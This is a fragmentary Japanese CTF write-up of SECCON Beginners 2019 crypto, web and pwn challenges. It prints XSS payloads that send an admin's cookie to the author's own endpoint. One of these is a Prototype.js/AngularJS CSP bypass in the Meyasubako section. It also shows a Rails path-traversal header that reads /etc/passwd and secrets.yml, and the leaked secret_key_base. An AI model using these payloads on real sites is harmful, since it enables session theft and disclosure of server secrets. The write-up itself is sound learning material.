下記の接続時の値を利用してスクリプトを組んでみます。b'ctf4b{f1nd_7he_p4ramet3rs}'更に、作問者さんのつぶやきより。Crypto4問作りました。RSAは-1入れるルート想定だったんですがWriteup見たらあんまりその方法で解いてる人いない感じでプロばっかりだった...。下記を追加で検証してみます。solve.pyb'ctf4b{f1nd_7he_p4ramet3rs}'b'ctf4b{f1nd_7he_p4ramet3rs}'うん、同じ結果。ちなみに、この問題のwrite-upを集めてみたけど、確かに最初から想定解で解いた人は見つからなかった。1を入れてみる、とかそういう発想にたどり着かなかったし、そこで何の値が返ってきているのかをどうやって推測すればよかったのか...。31337与えられたホストにアクセスしてみます。3133761979521788671885687999751903226733201621842618332115507069111542298405489779319129640214296432783313607199071215992580839477736319311465304378004064139523915075630873951994813391530501841841269985752550756358339504689537286384143212018332102220722500877511614428808808675188581447908025632146639964286085824アクセスするたびに違う値が返ってきます。もらえるコードは下記。N)print(C)平文のランダムな箇所をbit反転させたものを暗号化した暗号文が、降ってきてるっぽいです。求める問題にはならないか?ということでBeginnersだし4問目だけどワンチャンあるかも、ってことでNを素因数分解に挑戦してみます。factordb.commsieve両者試してみましたが、どちらも素因数分解できませんでした。行けるかと思ってやってみました。print(flag)結果できず。使ってないのでそれはそうかなと。これ以上は追わず、競技終了。他の方のwrite-upを見てみると、下記の記事にある手法が使えるそうです。程度共通する場合、これらからそれぞれの平文を求めることができる。今回の条件に当てはまりそう。ところでほとんどのwrite-upがsageを使って解いているんですけど、入れたほうが良いのかしら。上記リンク先で紹介しているのがsageを使った解法だからだとは思うんですけど。SageMathはPythonベースの数式処理システムである。Numpy、ScipyをはじめとしてR、Maxima、Pari/GPなどさまざまなライブラリが統合されており、巨大ではあるが統一的に各種演算を行うことができる。Pythonがベースとなっているため、通常のPythonのように各種ライブラリを利用することも可能である。ももいろテクノロジーさんの先程の記事にこういった紹介があり、いままでのCTFのCrypto問題でも使っている人が多かった印象だったので、下記を参考にHostのMacにSageを入れてチュートリアルとかやってみました。下記のような記述を見かけましたが、基本python2で動かしたほうが良さそう。グループ話がそれました。この記事中にsageのサンプルコードが載っているので、ほとんど変えずに使えます。して作成、python2環境下で動かしました。取得は簡易的ですが何度も貰いに行く作戦で乗り切りました。DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUM]Yということで、20回目の暗号文ペア取得時に、いい感じの条件にはまったようで復号できました。今回は初めてsageを入れて使ってみましたが、環境構築事態は比較的すんなりいってよかったです。Himitsu抱え込まないでくださいね。https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zipソースコードのzipを展開すると、かなりの量のコードが。どこから手を付けていいやらわからないので、とりあえずサイトの挙動を確認してみます。ログイン、もしくは登録ができます。適当なユーザー名・パスワードだと怒られます登録画面でよくあるユーザー名やadminとか入れても重複してると怒られます登録・ログインが無事に済むと、メモアプリっぽくなっています。自分の書いた記事一覧が見れたり記事を投稿すると、普通のメモアプリとは違って、「秘密を共有する」機能が出現します。機能が結構あるので、やはりサイトから攻めるにしてもどこから手を付けてよいのやら...?ログイン機能でadminで入れると良いことあったりする?それとも自分の書いた記事が見れるから、記事の投稿部分にXSS脆弱性があったりする?それともそれとも、タイトルがHimitsuだし、秘密の共有機能を見るべき...?そう言えば、記事の投稿ページを良く見てみると、「書き方」というのが載っています。普通のXSSが刺さらなくても、こっちが刺さるかもしれません。いうことで試してみると怪しい挙動が。他、タイトルに<img>タグを埋め込んだ記事を埋め込み指定しても同様のエラーが。あるとエラーになるようです。この辺をどうにか回避して、秘密の共有機能で運営に記事を共有すると、運営がアクセスしてくれてセッション取れたりする系かなー?と思いつつ、競技終了。Web問題って「よっしゃこれだ!」というのを探すのが難しくていつも解けてない気がします...。今回も一通り気になるところをちょいちょい試してみて、他の問題に移っちゃいました。記法部分を使うのは合ってそう。そこからちゃんとソースを追って、validation部分を確認していらっしゃる。闇雲に色々打ってみるだけでは駄目だなぁ。ソースを読んでみると、以下のことがわかる。指定された記事のタイトルにスクリプトがないかチェックしているgetArticle内では上記チェックをしていない事くらいがざっと見てわかります。投稿時点(here)では埋め込み記事をリンクには書き換えず、取得時(getArticle)にリンクへの置き換えを行っている。タイトルの書き換えが可能と言っているけど、そんな機能はないような...?ここで、記事作成時のIDの作成箇所を探してみます。関数で記事IDを作成しています。$title);ロジックがわかるので、任意のユーザーが任意の時間に作る任意のタイトルの記事IDを生成できます。記事の投稿時点では埋め込み記事はreplaceを行わずvalidationだけを行うため、空の記事のIDを貼っておくことが出来ます。(ただし、記事のタイトルがcookieを横流しする攻撃になっている)ちなみに、date関数の仕様は以下。https://www.php.net/manual/ja/function.date.php分単位なので、余裕を持って準備できそう。phpのソースそのままつかって記事IDを作成しても良かったのですが、php使い慣れていないのでpythonで。23:3844db640d41016d6e6f9c79355a2c9a30ということで、まずタイトル:てきとう概要:てきとう本文:[#44db640d41016d6e6f9c79355a2c9a30#]の記事を作成。記事はないのでvalidationチェックに引っかかりません。">'")</script>概要:てきとう本文:てきとうの記事を作成。作成した記事のIDが上記で指定したものと同じになっていることを確認します。cookie情報が届きます。cookieをつけて投げてみます。flag.htmlflag.htmlを見てみます。あやや!??詰めが甘いって言われてしまった。なっているので、再度この記事のurlへアクセス。flag.html今度はちゃんと入ってました。すると、validationをバイパスできるというのがあった。こんとろーるしーこんとろーるぶい入れ子が有効になる事があるやつだ。確かにチェック部分を見てみると、本文中の全ての埋め込み記事をチェックしているものの入れ子のチェックにはなっていない。こっちに気づければ、こっちのほうが省エネでできそう!ということで、こっちも解法でもやってみます。下記タイトルの記事を作成。">'")</script>もう一つの記事を作成。タイトルは適当で本文に[#[#さっき作った記事のID#]#]あとは運営に秘密を共有する手順を踏むと、自分で管理しているEndpointに運営からcookieがpathに入ったリクエストが届きます。取得できました!これ以降は上記の方法と同じ方法でflagが取得できました。Meyasubakoみなさまからのご意見をお待ちしています。https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.jsまたもやソースとセットのようです。競技中はまったく触れませんでした。browser.close();サイトにアクセスしてみます。下書きが保存できるみたい。新しい意見を作成してみます。下書き一覧に加わりました。下書きの詳細を確認します。Himitsuと同じく、私はロボットではありません試験をクリアすると、下書きが管理者に届けられるとのことです。なんとなくHimitsuと結構似ているような...。XSSを利用して管理者にリンクを送りつけて踏んでもらう系かしら。簡単なXSSチェックをしてみると、記事一覧ページではエスケープされて表示されていたのに、詳細ページでは...あ。本文だったはずですが、スクリプト実行されています。設定されているようです。先程のHimitsuとますます同じ匂いがしてきました。OWASPが、alert表示されません。埋めてみても、何も出てきません。んんん?ResponseHeaderを見てみます。CSPについては下記などを参照。対策に利用できる技術ちょっと前にSASTツールをWebアプリケーションにかけた時に、セキュリティ対策候補として提案されたこともありました。好奇心の足跡このヘッダをサーバから返すことにより、参照して良いリソースを指定でき、意図していないJavaScriptの実行やリソースの読み込みをブラウザ側で制限することができる、というもの。cdnjs.cloudflare.comが設定されていました。0が設定されています。検索するといくつか手法が出てくるらしい。手段として確実そう&手がかりとして良さそうだったのが、下記のサイトでCSPの安全性を調べるというもの。Evaluator今回のURLを指定してチェックしてもらいます。いくつか警告が出てくるので、これをもとに攻撃手法を調べるのが良さそうです。今回はJSONPやAngularを使う方法が指摘されています。調べていると、とっっっっっっても勉強になりそうな関連記事があったので貼っておきます。insideドメインのホワイトリスト方式の問題この章に、今回使える攻撃の解説が載っています。JSONP・Angular両方を使ったbypass方法についても触れられています。Evaluator指摘されたエンドポイントも載っています。今回他の方のwrite-upでは、このあたりの攻撃手法を調べていて下記の記事に行き着いた人が多かったみたいです。ググると割と上位に出てきました。版の方法を使ったチームが多かったみたいです。src=prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert(1337Prototype.jsとAngularJSを組み合わせることによる効果を悪用する、この通信(解法)は非常に面白いです。アクセスを禁止しています。操作し、そのobjectのほぼ全てのメソッドを実行することができます。操作するために必要なものにアクセスできるようにします。ユーザーの操作が不要です。いうことで、Prototype.jsとAngularJSを組み合わせて、cookieをパラメータに突っ込みつつ任意のURLにアクセスさせるスクリプトは下記のようになります。ng-csp>{{$on.curry.call().location.href="{自分で管理しているEndpoint}"+$on.curry.call().document.cookie}}</div>これを本文に持つ記事を作成し、詳細画面を表示せずに「管理者に届け出る」をやります。下記のアクセスが来ます。したらctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}flagになりました!競技時間中にここまで辿り着くには、まず前提としてCSP/CSP回避に関する知識があって、適切な攻撃手法を調べる能力も必要なんだなぁ...。Web問むずい...!!そして今回も大変お勉強になりました。katsudonについて、問題にミスがあることが判明いたしました。修正版をkatsudon-okawariとして追加致しました。この度は申し訳ありませんでした。2019結局解けたのが8チームと一番少なかったですが、先のMeyasubakoとどっちがラスボスの予定だったんでしょう?こちらも時間がなくて競技中は全く見れなかったので、まずは自力で調査してみます。サイトの作りや基本的な構造はkatsudonと同じはず。decodeしてみます。/flagページに表示される文字列は下記。してみましたが、特に有力な情報は得られず。指定のurlに飛んでいろいろつついてみる。あった、各店舗のシリアルコードの表示もない。(/coupon)各画面のソースを見ていきますが、sytleが長いなー。画面のソースに怪しいコメントを発見。endendうーん、これだけではさっぱりわかりません。サイトにも入力フォームもcookieも無いので、とりあえず手がかりが無くなったっぽい。一度katsudonのほうの問題文を読み返してみます。基本的にこの問題の情報はそのまま使って良いはず。5.2.1で作られたサイトです。明記されていたんでした。対象versionの脆弱性はたくさん見つかるのですが、多くのサイトで取り上げられているやばめの脆弱性がありました。Rails日本語の解説もいくつかありました。PoCも紹介されています。ディレクトリトラバーサルです。ファイルを表示している場合、細工されたヘッダを受け付けることで、サーバー上の任意のファイルがレンダリングされます。読み出してみていました。../../../../../../../../../../../../../../../../../../etc/passwd{{'こんな感じで読み出せちゃうんですね。(ご丁寧にappからのpathも書いてある)を読み出してみます。endendおや、katsudonの時にもらったコードとちょっと差分があります。取れないか試してみます。../../../config/secrets.yml{{'まじか、一発でとれた。4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34あとは、flagのクーポンとsecret_key_baseを使って、クーポン生成コードの逆処理をやるとできそう。rubyでやるかpythonでやるか悩みましたが、競技中だと変なミスを極力減らしたいと思うので、なるべく生成時と同じ環境・同じロジックを使うようrailsのconsoleを利用することにしました。実行すればrails用のライブラリが使えます。consoleでrailsのconsoleが立ち上がります。"ctf4b{06a46a95f2078ae095470992cd02f419}"個人的には、MeyasubakoよりもHimitsuよりもわかりやすかったから、やっぱりボスは本当はMeyasubakoだったのかな。BabyHeapこちら、競技中のメモと、その後他のwrite-upを読みながらやってみた内容になっています。libc-2.27.so。babyって言ってるので易しいのが出てきて、あわよくば解けるかなーと思ったんですけどね...。stripped実行してみます。最初にプレゼントと言われて何やらアドレスが渡されます。その後、別途allocしたりdeleteしたりできるようです。処理をradare2で追ってみます。